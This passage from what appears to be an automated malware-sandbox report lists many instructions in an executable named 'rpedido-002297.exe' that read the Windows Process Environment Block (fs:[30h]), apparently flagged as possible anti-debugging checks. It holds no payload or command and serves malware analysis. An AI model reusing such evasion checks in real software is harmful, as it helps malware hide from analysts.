Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324D8347 mov eax, dword ptr fs:[00000030h]	1_2_324D8347
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324D8347 mov eax, dword ptr fs:[00000030h]	1_2_324D8347
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3255E372 mov eax, dword ptr fs:[00000030h]	1_2_3255E372
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3255E372 mov eax, dword ptr fs:[00000030h]	1_2_3255E372
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3255E372 mov eax, dword ptr fs:[00000030h]	1_2_3255E372
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3255E372 mov eax, dword ptr fs:[00000030h]	1_2_3255E372
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32560371 mov eax, dword ptr fs:[00000030h]	1_2_32560371
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32560371 mov eax, dword ptr fs:[00000030h]	1_2_32560371
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250237A mov eax, dword ptr fs:[00000030h]	1_2_3250237A
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324EB360 mov eax, dword ptr fs:[00000030h]	1_2_324EB360
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324EB360 mov eax, dword ptr fs:[00000030h]	1_2_324EB360
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324EB360 mov eax, dword ptr fs:[00000030h]	1_2_324EB360
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324EB360 mov eax, dword ptr fs:[00000030h]	1_2_324EB360
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324EB360 mov eax, dword ptr fs:[00000030h]	1_2_324EB360
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324EB360 mov eax, dword ptr fs:[00000030h]	1_2_324EB360
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3251E363 mov eax, dword ptr fs:[00000030h]	1_2_3251E363
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3251E363 mov eax, dword ptr fs:[00000030h]	1_2_3251E363
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3251E363 mov eax, dword ptr fs:[00000030h]	1_2_3251E363
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3251E363 mov eax, dword ptr fs:[00000030h]	1_2_3251E363
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3251E363 mov eax, dword ptr fs:[00000030h]	1_2_3251E363
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3251E363 mov eax, dword ptr fs:[00000030h]	1_2_3251E363
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3251E363 mov eax, dword ptr fs:[00000030h]	1_2_3251E363
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3251E363 mov eax, dword ptr fs:[00000030h]	1_2_3251E363
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324D9303 mov eax, dword ptr fs:[00000030h]	1_2_324D9303
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324D9303 mov eax, dword ptr fs:[00000030h]	1_2_324D9303
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3251631F mov eax, dword ptr fs:[00000030h]	1_2_3251631F
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3259F30A mov eax, dword ptr fs:[00000030h]	1_2_3259F30A
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3256330C mov eax, dword ptr fs:[00000030h]	1_2_3256330C
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3256330C mov eax, dword ptr fs:[00000030h]	1_2_3256330C
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3256330C mov eax, dword ptr fs:[00000030h]	1_2_3256330C
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3256330C mov eax, dword ptr fs:[00000030h]	1_2_3256330C
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324FE310 mov eax, dword ptr fs:[00000030h]	1_2_324FE310
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324FE310 mov eax, dword ptr fs:[00000030h]	1_2_324FE310
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324FE310 mov eax, dword ptr fs:[00000030h]	1_2_324FE310
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DE328 mov eax, dword ptr fs:[00000030h]	1_2_324DE328
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DE328 mov eax, dword ptr fs:[00000030h]	1_2_324DE328
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DE328 mov eax, dword ptr fs:[00000030h]	1_2_324DE328
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325B3336 mov eax, dword ptr fs:[00000030h]	1_2_325B3336
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32518322 mov eax, dword ptr fs:[00000030h]	1_2_32518322
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32518322 mov eax, dword ptr fs:[00000030h]	1_2_32518322
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32518322 mov eax, dword ptr fs:[00000030h]	1_2_32518322
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250332D mov eax, dword ptr fs:[00000030h]	1_2_3250332D
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325133D0 mov eax, dword ptr fs:[00000030h]	1_2_325133D0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325143D0 mov ecx, dword ptr fs:[00000030h]	1_2_325143D0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325643D5 mov eax, dword ptr fs:[00000030h]	1_2_325643D5
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E63CB mov eax, dword ptr fs:[00000030h]	1_2_324E63CB
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DC3C7 mov eax, dword ptr fs:[00000030h]	1_2_324DC3C7
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DE3C0 mov eax, dword ptr fs:[00000030h]	1_2_324DE3C0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DE3C0 mov eax, dword ptr fs:[00000030h]	1_2_324DE3C0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DE3C0 mov eax, dword ptr fs:[00000030h]	1_2_324DE3C0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250A390 mov eax, dword ptr fs:[00000030h]	1_2_3250A390
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250A390 mov eax, dword ptr fs:[00000030h]	1_2_3250A390
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250A390 mov eax, dword ptr fs:[00000030h]	1_2_3250A390
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E1380 mov eax, dword ptr fs:[00000030h]	1_2_324E1380
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E1380 mov eax, dword ptr fs:[00000030h]	1_2_324E1380
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E1380 mov eax, dword ptr fs:[00000030h]	1_2_324E1380
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E1380 mov eax, dword ptr fs:[00000030h]	1_2_324E1380
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E1380 mov eax, dword ptr fs:[00000030h]	1_2_324E1380
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324FF380 mov eax, dword ptr fs:[00000030h]	1_2_324FF380
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324FF380 mov eax, dword ptr fs:[00000030h]	1_2_324FF380
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324FF380 mov eax, dword ptr fs:[00000030h]	1_2_324FF380
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324FF380 mov eax, dword ptr fs:[00000030h]	1_2_324FF380
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324FF380 mov eax, dword ptr fs:[00000030h]	1_2_324FF380
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324FF380 mov eax, dword ptr fs:[00000030h]	1_2_324FF380
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3259F38A mov eax, dword ptr fs:[00000030h]	1_2_3259F38A
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3255C3B0 mov eax, dword ptr fs:[00000030h]	1_2_3255C3B0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E93A6 mov eax, dword ptr fs:[00000030h]	1_2_324E93A6
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E93A6 mov eax, dword ptr fs:[00000030h]	1_2_324E93A6
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325B505B mov eax, dword ptr fs:[00000030h]	1_2_325B505B
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32510044 mov eax, dword ptr fs:[00000030h]	1_2_32510044
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32566040 mov eax, dword ptr fs:[00000030h]	1_2_32566040
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E1051 mov eax, dword ptr fs:[00000030h]	1_2_324E1051
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E1051 mov eax, dword ptr fs:[00000030h]	1_2_324E1051
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32589060 mov eax, dword ptr fs:[00000030h]	1_2_32589060
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E6074 mov eax, dword ptr fs:[00000030h]	1_2_324E6074
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E6074 mov eax, dword ptr fs:[00000030h]	1_2_324E6074
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E7072 mov eax, dword ptr fs:[00000030h]	1_2_324E7072
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32522010 mov ecx, dword ptr fs:[00000030h]	1_2_32522010
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E8009 mov eax, dword ptr fs:[00000030h]	1_2_324E8009
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32505004 mov eax, dword ptr fs:[00000030h]	1_2_32505004
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32505004 mov ecx, dword ptr fs:[00000030h]	1_2_32505004
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DD02D mov eax, dword ptr fs:[00000030h]	1_2_324DD02D
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DB0D6 mov eax, dword ptr fs:[00000030h]	1_2_324DB0D6
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DB0D6 mov eax, dword ptr fs:[00000030h]	1_2_324DB0D6
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DB0D6 mov eax, dword ptr fs:[00000030h]	1_2_324DB0D6
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DB0D6 mov eax, dword ptr fs:[00000030h]	1_2_324DB0D6
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324FB0D0 mov eax, dword ptr fs:[00000030h]	1_2_324FB0D0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3251D0F0 mov eax, dword ptr fs:[00000030h]	1_2_3251D0F0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3251D0F0 mov ecx, dword ptr fs:[00000030h]	1_2_3251D0F0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324D90F8 mov eax, dword ptr fs:[00000030h]	1_2_324D90F8
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324D90F8 mov eax, dword ptr fs:[00000030h]	1_2_324D90F8
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324D90F8 mov eax, dword ptr fs:[00000030h]	1_2_324D90F8
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324D90F8 mov eax, dword ptr fs:[00000030h]	1_2_324D90F8
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DC0F6 mov eax, dword ptr fs:[00000030h]	1_2_324DC0F6
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32567090 mov eax, dword ptr fs:[00000030h]	1_2_32567090
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325B4080 mov eax, dword ptr fs:[00000030h]	1_2_325B4080
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325B4080 mov eax, dword ptr fs:[00000030h]	1_2_325B4080
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325B4080 mov eax, dword ptr fs:[00000030h]	1_2_325B4080
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325B4080 mov eax, dword ptr fs:[00000030h]	1_2_325B4080
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325B4080 mov eax, dword ptr fs:[00000030h]	1_2_325B4080
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325B4080 mov eax, dword ptr fs:[00000030h]	1_2_325B4080
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325B4080 mov eax, dword ptr fs:[00000030h]	1_2_325B4080
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DC090 mov eax, dword ptr fs:[00000030h]	1_2_324DC090
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DA093 mov ecx, dword ptr fs:[00000030h]	1_2_324DA093
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325B50B7 mov eax, dword ptr fs:[00000030h]	1_2_325B50B7
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3259B0AF mov eax, dword ptr fs:[00000030h]	1_2_3259B0AF
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325200A5 mov eax, dword ptr fs:[00000030h]	1_2_325200A5
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3258F0A5 mov eax, dword ptr fs:[00000030h]	1_2_3258F0A5
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3258F0A5 mov eax, dword ptr fs:[00000030h]	1_2_3258F0A5
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3258F0A5 mov eax, dword ptr fs:[00000030h]	1_2_3258F0A5
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3258F0A5 mov eax, dword ptr fs:[00000030h]	1_2_3258F0A5
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3258F0A5 mov eax, dword ptr fs:[00000030h]	1_2_3258F0A5
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3258F0A5 mov eax, dword ptr fs:[00000030h]	1_2_3258F0A5
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3258F0A5 mov eax, dword ptr fs:[00000030h]	1_2_3258F0A5
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DA147 mov eax, dword ptr fs:[00000030h]	1_2_324DA147
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DA147 mov eax, dword ptr fs:[00000030h]	1_2_324DA147
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DA147 mov eax, dword ptr fs:[00000030h]	1_2_324DA147
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325B3157 mov eax, dword ptr fs:[00000030h]	1_2_325B3157
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325B3157 mov eax, dword ptr fs:[00000030h]	1_2_325B3157
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325B3157 mov eax, dword ptr fs:[00000030h]	1_2_325B3157
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3251415F mov eax, dword ptr fs:[00000030h]	1_2_3251415F
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325B5149 mov eax, dword ptr fs:[00000030h]	1_2_325B5149
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3257314A mov eax, dword ptr fs:[00000030h]	1_2_3257314A
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3257314A mov eax, dword ptr fs:[00000030h]	1_2_3257314A
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3257314A mov eax, dword ptr fs:[00000030h]	1_2_3257314A
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3257314A mov eax, dword ptr fs:[00000030h]	1_2_3257314A
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3253717A mov eax, dword ptr fs:[00000030h]	1_2_3253717A
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3253717A mov eax, dword ptr fs:[00000030h]	1_2_3253717A
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E6179 mov eax, dword ptr fs:[00000030h]	1_2_324E6179
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3251716D mov eax, dword ptr fs:[00000030h]	1_2_3251716D
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E510D mov eax, dword ptr fs:[00000030h]	1_2_324E510D
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32510118 mov eax, dword ptr fs:[00000030h]	1_2_32510118
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DF113 mov eax, dword ptr fs:[00000030h]	1_2_324DF113
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DF113 mov eax, dword ptr fs:[00000030h]	1_2_324DF113
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DF113 mov eax, dword ptr fs:[00000030h]	1_2_324DF113
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DF113 mov eax, dword ptr fs:[00000030h]	1_2_324DF113
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DF113 mov eax, dword ptr fs:[00000030h]	1_2_324DF113
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DF113 mov eax, dword ptr fs:[00000030h]	1_2_324DF113
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DF113 mov eax, dword ptr fs:[00000030h]	1_2_324DF113
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DF113 mov eax, dword ptr fs:[00000030h]	1_2_324DF113
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DF113 mov eax, dword ptr fs:[00000030h]	1_2_324DF113
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DF113 mov eax, dword ptr fs:[00000030h]	1_2_324DF113
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DF113 mov eax, dword ptr fs:[00000030h]	1_2_324DF113
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DF113 mov eax, dword ptr fs:[00000030h]	1_2_324DF113
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DF113 mov eax, dword ptr fs:[00000030h]	1_2_324DF113
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DF113 mov eax, dword ptr fs:[00000030h]	1_2_324DF113
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DF113 mov eax, dword ptr fs:[00000030h]	1_2_324DF113
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DF113 mov eax, dword ptr fs:[00000030h]	1_2_324DF113
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DF113 mov eax, dword ptr fs:[00000030h]	1_2_324DF113
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DF113 mov eax, dword ptr fs:[00000030h]	1_2_324DF113
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DF113 mov eax, dword ptr fs:[00000030h]	1_2_324DF113
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DF113 mov eax, dword ptr fs:[00000030h]	1_2_324DF113
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DF113 mov eax, dword ptr fs:[00000030h]	1_2_324DF113
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250510F mov eax, dword ptr fs:[00000030h]	1_2_3250510F
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250510F mov eax, dword ptr fs:[00000030h]	1_2_3250510F
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250510F mov eax, dword ptr fs:[00000030h]	1_2_3250510F
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250510F mov eax, dword ptr fs:[00000030h]	1_2_3250510F
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250510F mov eax, dword ptr fs:[00000030h]	1_2_3250510F
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250510F mov eax, dword ptr fs:[00000030h]	1_2_3250510F
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250510F mov eax, dword ptr fs:[00000030h]	1_2_3250510F
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250510F mov eax, dword ptr fs:[00000030h]	1_2_3250510F
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250510F mov eax, dword ptr fs:[00000030h]	1_2_3250510F
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250510F mov eax, dword ptr fs:[00000030h]	1_2_3250510F
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250510F mov eax, dword ptr fs:[00000030h]	1_2_3250510F
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250510F mov eax, dword ptr fs:[00000030h]	1_2_3250510F
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250510F mov eax, dword ptr fs:[00000030h]	1_2_3250510F
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3256A130 mov eax, dword ptr fs:[00000030h]	1_2_3256A130
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3259F13E mov eax, dword ptr fs:[00000030h]	1_2_3259F13E
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32517128 mov eax, dword ptr fs:[00000030h]	1_2_32517128
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32517128 mov eax, dword ptr fs:[00000030h]	1_2_32517128
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F01C0 mov eax, dword ptr fs:[00000030h]	1_2_324F01C0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F01C0 mov eax, dword ptr fs:[00000030h]	1_2_324F01C0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F51C0 mov eax, dword ptr fs:[00000030h]	1_2_324F51C0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F51C0 mov eax, dword ptr fs:[00000030h]	1_2_324F51C0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F51C0 mov eax, dword ptr fs:[00000030h]	1_2_324F51C0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F51C0 mov eax, dword ptr fs:[00000030h]	1_2_324F51C0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250F1F0 mov eax, dword ptr fs:[00000030h]	1_2_3250F1F0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250F1F0 mov eax, dword ptr fs:[00000030h]	1_2_3250F1F0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324D81EB mov eax, dword ptr fs:[00000030h]	1_2_324D81EB
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E91E5 mov eax, dword ptr fs:[00000030h]	1_2_324E91E5
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E91E5 mov eax, dword ptr fs:[00000030h]	1_2_324E91E5
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324EA1E3 mov eax, dword ptr fs:[00000030h]	1_2_324EA1E3
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324EA1E3 mov eax, dword ptr fs:[00000030h]	1_2_324EA1E3
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324EA1E3 mov eax, dword ptr fs:[00000030h]	1_2_324EA1E3
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324EA1E3 mov eax, dword ptr fs:[00000030h]	1_2_324EA1E3
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324EA1E3 mov eax, dword ptr fs:[00000030h]	1_2_324EA1E3
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250B1E0 mov eax, dword ptr fs:[00000030h]	1_2_3250B1E0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250B1E0 mov eax, dword ptr fs:[00000030h]	1_2_3250B1E0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250B1E0 mov eax, dword ptr fs:[00000030h]	1_2_3250B1E0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250B1E0 mov eax, dword ptr fs:[00000030h]	1_2_3250B1E0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250B1E0 mov eax, dword ptr fs:[00000030h]	1_2_3250B1E0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250B1E0 mov eax, dword ptr fs:[00000030h]	1_2_3250B1E0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250B1E0 mov eax, dword ptr fs:[00000030h]	1_2_3250B1E0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325A81EE mov eax, dword ptr fs:[00000030h]	1_2_325A81EE
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325A81EE mov eax, dword ptr fs:[00000030h]	1_2_325A81EE
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324D91F0 mov eax, dword ptr fs:[00000030h]	1_2_324D91F0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324D91F0 mov eax, dword ptr fs:[00000030h]	1_2_324D91F0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F01F1 mov eax, dword ptr fs:[00000030h]	1_2_324F01F1
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F01F1 mov eax, dword ptr fs:[00000030h]	1_2_324F01F1
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F01F1 mov eax, dword ptr fs:[00000030h]	1_2_324F01F1
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32521190 mov eax, dword ptr fs:[00000030h]	1_2_32521190
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32521190 mov eax, dword ptr fs:[00000030h]	1_2_32521190
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32509194 mov eax, dword ptr fs:[00000030h]	1_2_32509194
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E4180 mov eax, dword ptr fs:[00000030h]	1_2_324E4180
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E4180 mov eax, dword ptr fs:[00000030h]	1_2_324E4180
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E4180 mov eax, dword ptr fs:[00000030h]	1_2_324E4180
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325141BB mov ecx, dword ptr fs:[00000030h]	1_2_325141BB
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325141BB mov eax, dword ptr fs:[00000030h]	1_2_325141BB
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325141BB mov eax, dword ptr fs:[00000030h]	1_2_325141BB
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325131BE mov eax, dword ptr fs:[00000030h]	1_2_325131BE
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325131BE mov eax, dword ptr fs:[00000030h]	1_2_325131BE
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3251E1A4 mov eax, dword ptr fs:[00000030h]	1_2_3251E1A4
